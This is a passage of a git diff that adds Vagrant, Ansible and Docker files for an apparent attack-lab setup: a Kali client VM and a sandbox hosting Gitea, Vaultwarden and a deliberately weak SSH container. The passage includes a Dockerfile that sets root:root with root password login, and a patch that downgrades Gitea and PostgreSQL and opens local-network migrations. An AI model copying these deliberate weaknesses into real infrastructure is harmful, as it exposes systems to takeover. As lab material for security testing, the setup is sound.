+ sandbox.vm.box = BOX_NAME
+ sandbox.vm.box_version = BOX_VERSION
+ sandbox.vm.hostname = "sandbox.vm"
+ sandbox.vm.network "private_network", ip: "192.168.56.10"
+
+ sandbox.vbguest.no_install = true
+
+ sandbox.vm.provider "virtualbox" do |v|
+ v.memory = 2048
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ end
+
+ sandbox.vm.synced_folder ".", "/vagrant"
+
+ sandbox.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/sandbox/playbook.yml"
+ end
+
+ sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
+ end
+
+ config.vm.define "client" do |client|
+ client.vm.box = DESKTOP_BOX_NAME
+ client.vm.box_version = DESKTOP_BOX_VERSION
+ client.vm.hostname = "client.vm"
+ client.vm.network "private_network", ip: "192.168.56.20"
+
+ client.vbguest.installer = :debian
+
+ client.vm.provider "virtualbox" do |v|
+ v.memory = 4096
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--accelerate3d", "on"]
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
+ end
+
+ client.vm.synced_folder ".", "/vagrant"
+
+ # required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
+ client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
+
+ client.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/client/playbook.yml"
+ end
+ end
+end
diff --git a/webserver/hybrid2/client/playbook.yml b/webserver/hybrid2/client/playbook.yml
new file mode 100644
index 0000000..9290240
--- /dev/null
+++ b/webserver/hybrid2/client/playbook.yml
@@ -0,0 +1,30 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+# - name: Add Metasploit PPA
+# apt_repository:
+# repo: ppa:metasploit-official
+# state: present
+# update_cache: yes
+
+ - name: Install tools
+ apt:
+ pkg:
+# - metasploit-framework
+ - curl
+ - nmap
+ - libnss3-tools
+ state: present
+ update_cache: yes
+
+ - name: Add sandbox hostnames to /etc/hosts
+ lineinfile:
+ path: /etc/hosts
+ line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
+ state: present
\ No newline at end of file
diff --git a/webserver/hybrid2/sandbox/docker-compose.yml b/webserver/hybrid2/sandbox/docker-compose.yml
new file mode 100644
index 0000000..abbe084
--- /dev/null
+++ b/webserver/hybrid2/sandbox/docker-compose.yml
@@ -0,0 +1,71 @@
+services:
+ vaultwarden:
+ image: vaultwarden/server:latest
+ container_name: vaultwarden
+ restart: unless-stopped
+ networks:
+ - internal
+ environment:
+ DOMAIN: "https://bitwarden.vm.local"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
+ volumes:
+ - ./vw-data/:/data/
+ expose:
+ - 80
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ gitea:
+ image: docker.gitea.com/gitea:latest
+ container_name: gitea
+ environment:
+ - USER_UID=1000
+ - USER_GID=1000
+ - GITEA__database__DB_TYPE=postgres
+ - GITEA__database__HOST=postgres:5432
+ - GITEA__database__NAME=gitea
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+ - /etc/localtime:/etc/localtime:ro
+ expose:
+ - 3000
+ - 22
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ vulnerable:
+ build: /vagrant/sandbox/vuln
+ ports:
+ - 2222:22
+ networks:
+ - internal
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ nginx:
+ image: nginx:latest
+ container_name: nginx
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+ ports:
+ - 80:80
+ - 443:443
+
+networks:
+ internal:
+ driver: bridge
+ ipam:
+ config:
+ - subnet: 172.18.0.0/16
+ gateway: 172.18.0.1
\ No newline at end of file
diff --git a/webserver/hybrid2/sandbox/nginx.conf b/webserver/hybrid2/sandbox/nginx.conf
new file mode 100644
index 0000000..91b5b1f
--- /dev/null
+++ b/webserver/hybrid2/sandbox/nginx.conf
@@ -0,0 +1,33 @@
+server {
+ listen 443 ssl;
+ server_name gitea.vm.local;
+
+ ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://gitea:3000;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 443 ssl;
+ server_name bitwarden.vm.local;
+
+ ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://vaultwarden:80;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 80;
+ server_name _;
+ return 301 https://$host$request_uri;
+}
diff --git a/webserver/hybrid2/sandbox/playbook.yml b/webserver/hybrid2/sandbox/playbook.yml
new file mode 100644
index 0000000..ac8dadb
--- /dev/null
+++ b/webserver/hybrid2/sandbox/playbook.yml
@@ -0,0 +1,229 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+ - name: Install required system packages
+ apt:
+ pkg:
+ - apt-transport-https
+ - ca-certificates
+ - curl
+ - software-properties-common
+ - virtualenv
+ - python3-psycopg2
+ - postgresql
+ - acl
+ - bc
+ - sysstat
+ state: latest
+ update_cache: true
+
+ - name: Copy nginx conf
+ copy:
+ src: /vagrant/sandbox/nginx.conf
+ dest: /home/vagrant/nginx.conf
+
+ - name: Copy docker compose
+ copy:
+ src: /vagrant/sandbox/docker-compose.yml
+ dest: /home/vagrant/docker-compose.yml
+
+ - name: Ensure certs directory exists
+ file:
+ path: /home/vagrant/nginx/certs
+ state: directory
+ mode: '0755'
+
+ - name: Install mkcert dependencies
+ apt:
+ pkg:
+ - libnss3-tools
+ - ca-certificates
+ state: present
+ update_cache: yes
+
+ - name: Download mkcert binary
+ get_url:
+ url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
+ dest: /usr/local/bin/mkcert
+ mode: '0755'
+ register: mkcert_download
+
+ - name: Ensure mkcert CAROOT directory exists
+ file:
+ path: /home/vagrant/.local/share/mkcert
+ state: directory
+ mode: '0755'
+
+ - name: Initialize mkcert CA
+ command: mkcert -install
+ environment:
+ XDG_DATA_HOME: /home/vagrant/.local/share
+ CAROOT: /home/vagrant/.local/share/mkcert
+ args:
+ creates: /home/vagrant/.local/share/mkcert/rootCA.pem
+
+ - name: Generate cert for gitea.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
+ gitea.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
+
+ - name: Generate cert for bitwarden.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
+ bitwarden.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+
+ - name: Ensure export directory exists
+ file:
+ path: /vagrant/shared/ca
+ state: directory
+ mode: '0755'
+
+ - name: Copy mkcert rootCA.pem to shared directory
+ copy:
+ src: /home/vagrant/.local/share/mkcert/rootCA.pem
+ dest: /vagrant/shared/ca/rootCA.pem
+ remote_src: yes
+
+ - name: Add Docker GPG apt Key
+ apt_key:
+ url: https://download.docker.com/linux/ubuntu/gpg
+ state: present
+
+ - name: Add Docker Repository
+ apt_repository:
+ repo: deb https://download.docker.com/linux/ubuntu focal stable
+ state: present
+
+ - name: Update apt and install docker-ce
+ apt:
+ pkg:
+ - docker-ce
+ - docker-compose-plugin
+ state: latest
+ update_cache: true
+
+ - name: Add 'vagrant' and 'git' users to docker group
+ user:
+ name: "{{ item }}"
+ groups: docker
+ append: yes
+ loop:
+ - vagrant
+ - git
+
+ - name: Create git user
+ user:
+ name: git
+ shell: /home/git/docker-shell
+ home: /home/git
+ create_home: yes
+
+ - name: Deploy docker passthrough shell
+ copy:
+ dest: /home/git/docker-shell
+ content: |
+ #!/bin/sh
+ exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
+ mode: '0755'
+
+ - name: Update SSH config for git user
+ blockinfile:
+ path: /etc/ssh/sshd_config
+ block: |
+ Match User git
+ AuthorizedKeysCommandUser git
+ AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
+
+ - name: Restart SSH
+ service:
+ name: ssh
+ state: restarted
+
+ - name: Ensure PostgreSQL service is running
+ service:
+ name: postgresql
+ state: started
+ enabled: yes
+
+ - name: Create PostgreSQL user for gitea
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: gitea
+ password: gitea
+ state: present
+
+ - name: Create PostgreSQL database for gitea
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: gitea
+ owner: gitea
+ state: present
+
+ - name: Create PostgreSQL user for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: vaultwarden
+ password: vaultwarden
+ state: present
+
+ - name: Create PostgreSQL database for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: vaultwarden
+ owner: vaultwarden
+ state: present
+
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
+ state: present
+ notify: Restart PostgreSQL
+
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+ state: started
+ enabled: true
+
+ - name: Run docker compose up -d
+ command: docker compose up -d
+ args:
+ chdir: /home/vagrant
+
+
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
+ state: restarted
\ No newline at end of file
diff --git a/webserver/hybrid2/sandbox/vuln/Dockerfile b/webserver/hybrid2/sandbox/vuln/Dockerfile
new file mode 100644
index 0000000..24e7854
--- /dev/null
+++ b/webserver/hybrid2/sandbox/vuln/Dockerfile
@@ -0,0 +1,9 @@
+FROM ubuntu:22.04
+RUN apt update && apt install -y openssh-server
+RUN echo 'root:root' | chpasswd
+RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
+ sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
+
+RUN mkdir /var/run/sshd
+EXPOSE 22
+CMD ["/usr/sbin/sshd", "-D"]
\ No newline at end of file
diff --git a/webserver/hybrid3/Vagrantfile b/webserver/hybrid3/Vagrantfile
new file mode 100644
index 0000000..296c621
--- /dev/null
+++ b/webserver/hybrid3/Vagrantfile
@@ -0,0 +1,61 @@
+Vagrant.configure("2") do |config|
+
+ BOX_NAME = "ubuntu/jammy64"
+ BOX_VERSION = "20241002.0.0"
+
+ DESKTOP_BOX_NAME = "kalilinux/rolling"
+ DESKTOP_BOX_VERSION = "2025.1.0"
+
+ config.vm.define "sandbox" do |sandbox|
+ sandbox.vm.box = BOX_NAME
+ sandbox.vm.box_version = BOX_VERSION
+ sandbox.vm.hostname = "sandbox.vm"
+ sandbox.vm.network "private_network", ip: "192.168.56.10"
+
+ sandbox.vbguest.no_install = true
+
+ sandbox.vm.provider "virtualbox" do |v|
+ v.memory = 2048
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ end
+
+ sandbox.vm.synced_folder ".", "/vagrant"
+
+ sandbox.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/sandbox/playbook.yml"
+ end
+
+ sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
+ end
+
+ config.vm.define "client" do |client|
+ client.vm.box = DESKTOP_BOX_NAME
+ client.vm.box_version = DESKTOP_BOX_VERSION
+ client.vm.hostname = "client.vm"
+ client.vm.network "private_network", ip: "192.168.56.20"
+
+ client.vbguest.installer = :debian
+
+ client.vm.provider "virtualbox" do |v|
+ v.memory = 4096
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--accelerate3d", "on"]
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
+ end
+
+ client.vm.synced_folder ".", "/vagrant"
+
+ # required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
+ client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
+
+ client.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/client/playbook.yml"
+ end
+ end
+end
diff --git a/webserver/hybrid3/client/playbook.yml b/webserver/hybrid3/client/playbook.yml
new file mode 100644
index 0000000..9290240
--- /dev/null
+++ b/webserver/hybrid3/client/playbook.yml
@@ -0,0 +1,30 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+# - name: Add Metasploit PPA
+# apt_repository:
+# repo: ppa:metasploit-official
+# state: present
+# update_cache: yes
+
+ - name: Install tools
+ apt:
+ pkg:
+# - metasploit-framework
+ - curl
+ - nmap
+ - libnss3-tools
+ state: present
+ update_cache: yes
+
+ - name: Add sandbox hostnames to /etc/hosts
+ lineinfile:
+ path: /etc/hosts
+ line: "192.168.56.10 gitea.vm.local bitwarden.vm.local vuln.vm.local"
+ state: present
\ No newline at end of file
diff --git a/webserver/hybrid3/sandbox/docker-compose.yml b/webserver/hybrid3/sandbox/docker-compose.yml
new file mode 100644
index 0000000..abbe084
--- /dev/null
+++ b/webserver/hybrid3/sandbox/docker-compose.yml
@@ -0,0 +1,71 @@
+services:
+ vaultwarden:
+ image: vaultwarden/server:latest
+ container_name: vaultwarden
+ restart: unless-stopped
+ networks:
+ - internal
+ environment:
+ DOMAIN: "https://bitwarden.vm.local"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
+ volumes:
+ - ./vw-data/:/data/
+ expose:
+ - 80
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ gitea:
+ image: docker.gitea.com/gitea:latest
+ container_name: gitea
+ environment:
+ - USER_UID=1000
+ - USER_GID=1000
+ - GITEA__database__DB_TYPE=postgres
+ - GITEA__database__HOST=postgres:5432
+ - GITEA__database__NAME=gitea
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+ - /etc/localtime:/etc/localtime:ro
+ expose:
+ - 3000
+ - 22
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ vulnerable:
+ build: /vagrant/sandbox/vuln
+ ports:
+ - 2222:22
+ networks:
+ - internal
+ extra_hosts:
+ - "postgres:172.18.0.1"
+
+ nginx:
+ image: nginx:latest
+ container_name: nginx
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+ ports:
+ - 80:80
+ - 443:443
+
+networks:
+ internal:
+ driver: bridge
+ ipam:
+ config:
+ - subnet: 172.18.0.0/16
+ gateway: 172.18.0.1
\ No newline at end of file
diff --git a/webserver/hybrid3/sandbox/nginx.conf b/webserver/hybrid3/sandbox/nginx.conf
new file mode 100644
index 0000000..91b5b1f
--- /dev/null
+++ b/webserver/hybrid3/sandbox/nginx.conf
@@ -0,0 +1,33 @@
+server {
+ listen 443 ssl;
+ server_name gitea.vm.local;
+
+ ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://gitea:3000;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 443 ssl;
+ server_name bitwarden.vm.local;
+
+ ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://vaultwarden:80;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 80;
+ server_name _;
+ return 301 https://$host$request_uri;
+}
diff --git a/webserver/hybrid3/sandbox/playbook.yml b/webserver/hybrid3/sandbox/playbook.yml
new file mode 100644
index 0000000..ac8dadb
--- /dev/null
+++ b/webserver/hybrid3/sandbox/playbook.yml
@@ -0,0 +1,229 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+ - name: Install required system packages
+ apt:
+ pkg:
+ - apt-transport-https
+ - ca-certificates
+ - curl
+ - software-properties-common
+ - virtualenv
+ - python3-psycopg2
+ - postgresql
+ - acl
+ - bc
+ - sysstat
+ state: latest
+ update_cache: true
+
+ - name: Copy nginx conf
+ copy:
+ src: /vagrant/sandbox/nginx.conf
+ dest: /home/vagrant/nginx.conf
+
+ - name: Copy docker compose
+ copy:
+ src: /vagrant/sandbox/docker-compose.yml
+ dest: /home/vagrant/docker-compose.yml
+
+ - name: Ensure certs directory exists
+ file:
+ path: /home/vagrant/nginx/certs
+ state: directory
+ mode: '0755'
+
+ - name: Install mkcert dependencies
+ apt:
+ pkg:
+ - libnss3-tools
+ - ca-certificates
+ state: present
+ update_cache: yes
+
+ - name: Download mkcert binary
+ get_url:
+ url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
+ dest: /usr/local/bin/mkcert
+ mode: '0755'
+ register: mkcert_download
+
+ - name: Ensure mkcert CAROOT directory exists
+ file:
+ path: /home/vagrant/.local/share/mkcert
+ state: directory
+ mode: '0755'
+
+ - name: Initialize mkcert CA
+ command: mkcert -install
+ environment:
+ XDG_DATA_HOME: /home/vagrant/.local/share
+ CAROOT: /home/vagrant/.local/share/mkcert
+ args:
+ creates: /home/vagrant/.local/share/mkcert/rootCA.pem
+
+ - name: Generate cert for gitea.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
+ gitea.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
+
+ - name: Generate cert for bitwarden.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
+ bitwarden.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+
+ - name: Ensure export directory exists
+ file:
+ path: /vagrant/shared/ca
+ state: directory
+ mode: '0755'
+
+ - name: Copy mkcert rootCA.pem to shared directory
+ copy:
+ src: /home/vagrant/.local/share/mkcert/rootCA.pem
+ dest: /vagrant/shared/ca/rootCA.pem
+ remote_src: yes
+
+ - name: Add Docker GPG apt Key
+ apt_key:
+ url: https://download.docker.com/linux/ubuntu/gpg
+ state: present
+
+ - name: Add Docker Repository
+ apt_repository:
+ repo: deb https://download.docker.com/linux/ubuntu focal stable
+ state: present
+
+ - name: Update apt and install docker-ce
+ apt:
+ pkg:
+ - docker-ce
+ - docker-compose-plugin
+ state: latest
+ update_cache: true
+
+ - name: Add 'vagrant' and 'git' users to docker group
+ user:
+ name: "{{ item }}"
+ groups: docker
+ append: yes
+ loop:
+ - vagrant
+ - git
+
+ - name: Create git user
+ user:
+ name: git
+ shell: /home/git/docker-shell
+ home: /home/git
+ create_home: yes
+
+ - name: Deploy docker passthrough shell
+ copy:
+ dest: /home/git/docker-shell
+ content: |
+ #!/bin/sh
+ exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
+ mode: '0755'
+
+ - name: Update SSH config for git user
+ blockinfile:
+ path: /etc/ssh/sshd_config
+ block: |
+ Match User git
+ AuthorizedKeysCommandUser git
+ AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
+
+ - name: Restart SSH
+ service:
+ name: ssh
+ state: restarted
+
+ - name: Ensure PostgreSQL service is running
+ service:
+ name: postgresql
+ state: started
+ enabled: yes
+
+ - name: Create PostgreSQL user for gitea
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: gitea
+ password: gitea
+ state: present
+
+ - name: Create PostgreSQL database for gitea
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: gitea
+ owner: gitea
+ state: present
+
+ - name: Create PostgreSQL user for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: vaultwarden
+ password: vaultwarden
+ state: present
+
+ - name: Create PostgreSQL database for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: vaultwarden
+ owner: vaultwarden
+ state: present
+
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
+ state: present
+ notify: Restart PostgreSQL
+
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+ state: started
+ enabled: true
+
+ - name: Run docker compose up -d
+ command: docker compose up -d
+ args:
+ chdir: /home/vagrant
+
+
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
+ state: restarted
\ No newline at end of file
diff --git a/webserver/hybrid3/sandbox/vuln/Dockerfile b/webserver/hybrid3/sandbox/vuln/Dockerfile
new file mode 100644
index 0000000..24e7854
--- /dev/null
+++ b/webserver/hybrid3/sandbox/vuln/Dockerfile
@@ -0,0 +1,9 @@
+FROM ubuntu:22.04
+RUN apt update && apt install -y openssh-server
+RUN echo 'root:root' | chpasswd
+RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
+ sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
+
+RUN mkdir /var/run/sshd
+EXPOSE 22
+CMD ["/usr/sbin/sshd", "-D"]
\ No newline at end of file
diff --git a/webserver/insecure.patch b/webserver/insecure.patch
new file mode 100644
index 0000000..222af50
--- /dev/null
+++ b/webserver/insecure.patch
@@ -0,0 +1,88 @@
+diff --color -ruN hybrid/sandbox/docker-compose.yml insecure/sandbox/docker-compose.yml
+--- hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
++++ insecure/sandbox/docker-compose.yml 2025-05-19 13:21:23.282832190 +0200
+@@ -16,7 +16,7 @@
+ - "postgres:172.18.0.1"
+
+ gitea:
+- image: docker.gitea.com/gitea:latest
++ image: docker.gitea.com/gitea:1.16.6
+ container_name: gitea
+ environment:
+ - USER_UID=1000
+@@ -27,6 +27,8 @@
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
++ - GITEA__server__ROOT_URL=https://gitea.vm.local/
++ - GITEA__migrations__ALLOW_LOCALNETWORKS=true
+ restart: unless-stopped
+ networks:
+ - internal
+@@ -34,6 +36,8 @@
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+ - /etc/localtime:/etc/localtime:ro
++ ports:
++ - 3000:3000
+ expose:
+ - 3000
+ - 22
+diff --color -ruN hybrid/sandbox/playbook.yml insecure/sandbox/playbook.yml
+--- hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
++++ insecure/sandbox/playbook.yml 2025-05-18 20:20:58.296668091 +0200
+@@ -7,6 +7,17 @@
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
++ - name: Add PostgreSQL APT repository key
++ apt_key:
++ url: https://www.postgresql.org/media/keys/ACCC4CF8.asc
++ state: present
++
++ - name: Add PostgreSQL APT repository
++ apt_repository:
++ repo: deb http://apt.postgresql.org/pub/repos/apt jammy-pgdg main
++ state: present
++ filename: 'pgdg'
++
+ - name: Install required system packages
+ apt:
+ pkg:
+@@ -16,12 +27,17 @@
+ - software-properties-common
+ - virtualenv
+ - python3-psycopg2
+- - postgresql
+ - acl
+ - bc
+ - sysstat
+ state: latest
+ update_cache: true
++
++ - name: Install PostgreSQL 9.6
++ apt:
++ name: postgresql-9.6
++ state: present
++ update_cache: yes
+
+ - name: Copy nginx conf
+ copy:
+@@ -194,7 +210,7 @@
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+- path: /etc/postgresql/14/main/postgresql.conf
++ path: /etc/postgresql/9.6/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+@@ -202,7 +218,7 @@
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+- path: /etc/postgresql/14/main/pg_hba.conf
++ path: /etc/postgresql/9.6/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
diff --git a/webserver/insecure/Vagrantfile b/webserver/insecure/Vagrantfile
new file mode 100644
index 0000000..296c621
--- /dev/null
+++ b/webserver/insecure/Vagrantfile
@@ -0,0 +1,61 @@
+Vagrant.configure("2") do |config|
+
+ BOX_NAME = "ubuntu/jammy64"
+ BOX_VERSION = "20241002.0.0"
+
+ DESKTOP_BOX_NAME = "kalilinux/rolling"
+ DESKTOP_BOX_VERSION = "2025.1.0"
+
+ config.vm.define "sandbox" do |sandbox|
+ sandbox.vm.box = BOX_NAME
+ sandbox.vm.box_version = BOX_VERSION
+ sandbox.vm.hostname = "sandbox.vm"
+ sandbox.vm.network "private_network", ip: "192.168.56.10"
+
+ sandbox.vbguest.no_install = true
+
+ sandbox.vm.provider "virtualbox" do |v|
+ v.memory = 2048
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ end
+
+ sandbox.vm.synced_folder ".", "/vagrant"
+
+ sandbox.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/sandbox/playbook.yml"
+ end
+
+ sandbox.vm.provision "file", source: "../idle_measurement.sh", destination: "$HOME/idle_measurement.sh"
+ end
+
+ config.vm.define "client" do |client|
+ client.vm.box = DESKTOP_BOX_NAME
+ client.vm.box_version = DESKTOP_BOX_VERSION
+ client.vm.hostname = "client.vm"
+ client.vm.network "private_network", ip: "192.168.56.20"
+
+ client.vbguest.installer = :debian
+
+ client.vm.provider "virtualbox" do |v|
+ v.memory = 4096
+ v.cpus = 2
+
+ v.customize ["modifyvm", :id, "--accelerate3d", "on"]
+ v.customize ["modifyvm", :id, "--vram", "128"]
+ v.customize ["modifyvm", :id, "--graphicscontroller", "vmsvga"]
+ v.customize ["modifyvm", :id, "--clipboard-mode", "bidirectional"]
+ end
+
+ client.vm.synced_folder ".", "/vagrant"
+
+ # required, see https://forums.kali.org/t/important-blog-post-a-new-kali-linux-archive-signing-key/6986
+ client.vm.provision "shell", inline: "sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg"
+
+ client.vm.provision "ansible_local" do |ansible|
+ ansible.playbook = "/vagrant/client/playbook.yml"
+ end
+ end
+end
diff --git a/webserver/insecure/client/playbook.yml b/webserver/insecure/client/playbook.yml
new file mode 100644
index 0000000..9290240
--- /dev/null
+++ b/webserver/insecure/client/playbook.yml
@@ -0,0 +1,30 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+# - name: Add Metasploit PPA
+# apt_repository:
+# repo: ppa:metasploit-official
+# state: present
+# update_cache: yes
+
+ - name: Install tools
+ apt:
